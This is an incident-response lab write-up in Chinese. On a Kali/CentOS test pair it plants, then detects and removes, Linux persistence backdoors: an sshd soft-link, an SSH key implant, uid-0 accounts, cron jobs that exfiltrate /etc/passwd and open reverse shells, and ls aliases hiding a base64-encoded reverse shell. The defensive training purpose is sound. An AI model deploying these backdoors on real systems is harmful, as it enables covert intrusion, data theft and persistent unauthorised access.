做臨時(shí)網(wǎng)站優(yōu)化一個(gè)網(wǎng)站需要多少錢
本次應(yīng)急響應(yīng)實(shí)驗(yàn)用kali和centos7來(lái)充當(dāng)攻擊機(jī)和靶機(jī)
kali:192.168.10.130
centos7:192.168.10.155
前提:
用kali連接到centos7上面ssh root@192.168.10.155
一、SSH軟鏈接
任意密碼登錄即可發(fā)現(xiàn)程度:||||||
ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=12345
使用kali進(jìn)行登錄,這次密碼隨便輸入即可
ssh root@xx.xx.xx.xx-p 12345
應(yīng)急處置流程
第一步:查看服務(wù)器開(kāi)放的端口號(hào)
使用netstat -anpt查看端口,發(fā)現(xiàn)可疑的端口12345
切換到3642的pid目錄下面,發(fā)現(xiàn)有軟鏈接后門
第二步:確定軟鏈接后門文件
查看所有的su文件,以及查找具體哪一個(gè)su是軟鏈接后門
find -name su
ll /usr/local/su
第三步:刪除軟鏈接后門
rm -rf /usr/local/su
切斷進(jìn)程
kill -9 3642
kill -9 4147
二、ssh公私鑰免密登錄
使用密鑰進(jìn)行登錄
發(fā)現(xiàn)程度:|||||
創(chuàng)建秘鑰對(duì),然后將公鑰上傳到拿下的服務(wù)器中,實(shí)現(xiàn)root賬號(hào)免密登錄
1. 生成ssh秘鑰對(duì)
ssh-keygen -t rsa
保存路徑輸入 ./id_rsa ,保存到當(dāng)前路徑。接著再按兩次回車
2.將id_rsa.pub公鑰上傳到服務(wù)中
將公鑰寫入到authorized_keys文件中
mkdir /root/.ssh && touch /root/.ssh/authorized_keys
cat id_rsa.pub >> /root/.ssh/authorized_keys && chmod 600 /root/.ssh/authorized_keys && chmod 700 /root/.ssh/
3.配置允許使用秘鑰登錄
vim /etc/ssh/sshd_config
RSAAuthentication yes
PubkeyAuthentication yes
4.ssh秘鑰登錄
ssh -i id_rsa root@192.168.10.155
應(yīng)急處置流程
直接切換到/root/.ssh目錄下面,把a(bǔ)uthorized_keys刪掉即可(注意查看一下生成的時(shí)間,防止刪掉客戶之前生成的)
三、后門賬號(hào)添加
使用命令添加賬號(hào)
發(fā)現(xiàn)程度:||||||
添加root用戶:
#添加賬號(hào)test1,設(shè)置uid為0,密為123456
useradd -p `openssl passwd -1 -salt 'salt' 123456` test1 -o -u 0 -g root -G root -s /bin/bash -d /home/test1
or
echo "ruoji:x:0:0::/:/bin/sh" >> /etc/passwd #增加超級(jí)用戶賬號(hào)
如果系統(tǒng)不允許uid=0的用戶遠(yuǎn)程登錄,可以增加一個(gè)普通用戶賬號(hào)
echo "mx7krshell::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow
passwd ruoji #修改ruoji的密碼為ruoji
應(yīng)急處置流程
1.查找特殊權(quán)限賬號(hào),默認(rèn)root,如果出現(xiàn)其他賬號(hào)需要警惕:
awk -F: '{if($3==0) print $1}' /etc/passwd
2.查找可以登錄ssh的賬號(hào)
s=$( sudo cat /etc/shadow | grep '^[^:]*:[^*!]' | awk -F: '{print $1}');for i
in $s;do cat /etc/passwd | grep -v "/bin/false|/nologin"| grep $i;done | sort
| uniq |awk -F: '{print $1}'
3.刪除后門帳號(hào)
在root用戶下,cat /etc/passwd | grep ruoji,這一步是確認(rèn)ruoji存在
用ps查看ruoji正在使用的進(jìn)程,把他的進(jìn)程進(jìn)行殺死:kill -9 5373
殺死進(jìn)程之后,sudo userdel -rf ruoji,這一步強(qiáng)制刪除用戶
進(jìn)入root根目錄,刪除和用戶相關(guān)的文件夾 cd 進(jìn)入根目錄,找到ruoji,然后rm -rf ruoji ,刪除文件夾
進(jìn)入home目錄, cd /home ,看是否有和ruoji同名的文件夾,有的話也用 rm -rf刪掉
在root根目錄下,進(jìn)入 /var/spool/mail/ 目錄下,找到user1相關(guān)目錄刪除
四、定時(shí)計(jì)劃任務(wù)后門
生成命令網(wǎng)址:[~]#棱角 ::Edge.Forum*
crontab -e
*/1 * * * * nc 192.168.10.130 5555 < /etc/passwd #每一分鐘把文件彈給kali
*/1 * * * * bash -i >& /dev/tcp/192.168.10.130/7777 0>&1 #每一分鐘把shell反彈到kali上
kali監(jiān)聽(tīng)指定7777端口可以獲得shell
應(yīng)急處置流程
1.crontab -l或者crontab -e查看定時(shí)任務(wù),-e比-l查的更全一點(diǎn)
2.有些挖礦計(jì)劃任務(wù)會(huì)寫到Linux自帶的計(jì)劃任務(wù)里
用whereis cron查看自帶的計(jì)劃任務(wù)
五、別名后門
alias命令的功能:為命令設(shè)置別名
定義:alias ls="ls -al"
刪除:unalias ls
每次輸入ls命令的時(shí)候都能實(shí)現(xiàn)ls -al
alias ls='alerts(){ ls $* --color=auto;bash -i >& /dev/tcp/192.168.10.130/3333 0>&1;};alerts'
執(zhí)行l(wèi)s就會(huì)反彈shell,持久化+隱藏:重啟依舊生效,但是執(zhí)行l(wèi)s之后會(huì)卡住,容易被發(fā)現(xiàn)
別名配置存在 ~/.bashrc 配置文件中
cat ~/.bashrc|grep alias
下面這種方法可以在執(zhí)行l(wèi)s時(shí)候不會(huì)卡住,可以說(shuō)是最好用的一種方法
alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTkyLjE2OC4xMC4xMzAiLCA2NjY2KSkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDApCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAxKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMikKICAgICAgICBwID0gc3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsICItaSJdKQogICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOgogICAgICAgIGV4aXQoKQ=='\'')))";};alerts'
應(yīng)急處置流程
netstat -anpt
ps -ef | grep 8094
然后刪掉可疑進(jìn)程
kill -9 8094
查看可疑別名:alias
刪除別名:unalias ls